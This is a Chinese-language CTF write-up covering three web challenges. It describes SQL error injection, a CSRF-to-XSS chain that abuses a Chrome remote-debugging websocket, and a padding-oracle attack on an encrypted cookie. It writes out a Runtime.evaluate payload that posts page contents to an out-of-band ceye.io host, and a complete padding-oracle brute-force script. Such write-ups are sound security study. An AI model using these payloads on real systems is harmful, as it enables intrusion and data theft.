NS - DFJK 2022

体验一般吧,很可惜有道题最后一点没出

Web

ezWeb

  1. 下载源码,发现给了一定的提示,比如flag在哪里,以及能够读取的权限,还有admin权限
  2. 审计源码以及diff其与github仓库代码的不同,重点找mysql用户权限页面,然后找到了俩用户分别的注入点,位于grave/graveyard.php和tags/tags.php
  3. payload如下,利用报错注入出结果,这里需要注意的是tags页面的注入需要知道mysql_real_escape_string在sql_mode指定为NO_BACKSLASH_ESCAPES的情况下只管单引号,换句话说不拦双引号

img

img

ezWebpro(未解出)

这题可惜了时间不够了,最后半小时才看到题目描述,虽然没出也简单说一下吧

在上一题的基础上没有admin用户了,也就是说注入点难以利用,但是给了bot,这个时候不难想到要找xss打,阅读完源码,基本都转义了html代码,不好动手。突然想到了上一题的报错,在报错页面不就可以直接打xss了么。那么整体思路就变成了通过csrf->sql打数据->sql打xss带出数据。然后由于没读题,导致这里在找flag卡了很久。后面阅读了题从hint里读到了类似cdp的json,里面给出了webSocketDebuggerUrl地址,不难想象后续就是从sql打数据变成打ws。

到这里时间也结束了,只有比赛结束后本地测试了,这里假设flag在/flag。本地chrome起了个远程调试端口,然后利用ws操作,首先利用Page.navigate控制浏览器访问file:///flag

1
ws.send(JSON.stringify({id:0, method:'Page.navigate', params:{url: 'file:///flag'}}))

再利用Runtime.evaluate执行js把flag带出来

1
ws.send(JSON.stringify({id:0, method: 'Runtime.evaluate', params:{expression:'var xhr = new XMLHttpRequest();xhr.open("post","``http://xxx.ceye.io/``");xhr.send("res="+document.body.textContent);'}}))

当然也没机会实际测试了,等待后续wp学习^^

babyweb

这题重点记录一下没给提示之前的逻辑推理。首先是cookie里有两个字段分别是admin_password和一个包含了admin_password的jwt,一开始以为是jwt伪造或者爆破secret的操作。后来测试过程中发现,admin_password的base64字符串删掉一个=会告警padding error,而增加一个并不会,于是就在想这里应该是又个严格的密码解密的过程,这里也许思路就应该是考虑针对admin_password进行padding oracle爆破了。到这里我就没做了,给r1ngs师傅搞去了,贴个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
from base64 import *
session = requests.session()
from Crypto.Util.strxor import strxor

data = {'username': 'admin',
'password': '90'}
url = 'http://xxxx'
admin_password = 'sQYbmlM3493UzUR9uL0tHmK3fabMHC8zH90ZxDGzVsiO3df4TOpTXKKZDv9usNKx2BJECyBZiMU6Rs+BIjF9uQ=='

cipher = b64decode(admin_password)
iv = cipher[:16]
first = cipher[16:32]
second = cipher[32:48]
last = cipher[48:64]
'''最后一位padding就是01或者12,经过验证为12'''
# for i in range(0, 17):
# tmp = second[:15] + strxor(strxor(bytes([second[15]]), chr(i).encode()), chr(1).encode())
# cookies = {'admin_password': b64encode(iv + first + tmp + last).decode(),
# 'session': 'eyJhZG1pbl9wYXNzd29yZCI6IjYzLzZIemZyV2NqUTNsUXBvL0JLd1NBdElZMUdYajBtc3JoS3p3bzBkMXpJN3UyWHRibytsRWtpLzRjUk0xUmdkeHFZWHZDL0VoTFZRVEZiRlVGMnVBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvyQwA.A_cj48Q1jRm6GEnPuxKbi1Ljd9k'}
# response = session.post(url, data=data, cookies=cookies)
# print(response.text)
# print(i)


# flag = ''
# for i in range(15, -1, -1):
'''避免01的干扰,起始位调到10'''
# for j in range(10, 128):
# tmp = second[:i] + strxor(strxor(second[i:], chr(j).encode() + flag.encode()), (16-i) * chr(16-i).encode())
# cookies = {'admin_password': b64encode(iv + first + tmp + last).decode(),
# 'session': 'eyJhZG1pbl9wYXNzd29yZCI6InNRWWJtbE0zNDkzVXpVUjl1TDB0SG1LM2ZhYk1IQzh6SDkwWnhER3pWc2lPM2RmNFRPcFRYS0taRHY5dXNOS3gyQkpFQ3lCWmlNVTZScytCSWpGOXVRPT0iLCJpc2FkbWluIjpmYWxzZX0.Yvy0SQ.HkXV3V9wa8SFxAwSxOcXTdRFzSg'}
# response = session.post(url, data=data, cookies=cookies)
# if 'padding error' not in response.text:
# flag = chr(j) + flag
# print(flag)
# break
'''1155'''

# flag = ''
# for i in range(15, -1, -1):
# for j in range(45, 128):
# tmp = first[:i] + strxor(strxor(first[i:], chr(j).encode() + flag.encode()), (16-i) * chr(16-i).encode())
# cookies = {'admin_password': b64encode(iv + tmp + second).decode(),
# 'session': 'eyJhZG1pbl9wYXNzd29yZCI6IjYzLzZIemZyV2NqUTNsUXBvL0JLd1NBdElZMUdYajBtc3JoS3p3bzBkMXpJN3UyWHRibytsRWtpLzRjUk0xUmdkeHFZWHZDL0VoTFZRVEZiRlVGMnVBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvyQwA.A_cj48Q1jRm6GEnPuxKbi1Ljd9k'}
# response = session.post(url, data=data, cookies=cookies)
# if 'padding error' not in response.text:
# flag = chr(j) + flag
# print(flag)
# break
'''2f-8ae1-ab4526c8'''
flag = ''
for i in range(15, -1, -1):
for j in range(32, 128):
tmp = iv[:i] + strxor(strxor(iv[i:], chr(j).encode() + flag.encode()), (16-i) * chr(16-i).encode())
cookies = {'admin_password': b64encode(tmp + first).decode(),
'session': 'eyJhZG1pbl9wYXNzd29yZCI6IjYzLzZIemZyV2NqUTNsUXBvL0JLd1NBdElZMUdYajBtc3JoS3p3bzBkMXpJN3UyWHRibytsRWtpLzRjUk0xUmdkeHFZWHZDL0VoTFZRVEZiRlVGMnVBPT0iLCJpc2FkbWluIjpmYWxzZX0.YvyQwA.A_cj48Q1jRm6GEnPuxKbi1Ljd9k'}
response = session.post(url, data=data, cookies=cookies)
if 'padding error' not in response.text:
flag = chr(j) + flag
print(flag)
break
'''901cf774-a947-4d2f-8ae1-ab4526c81155'''

密码登陆进去就是flag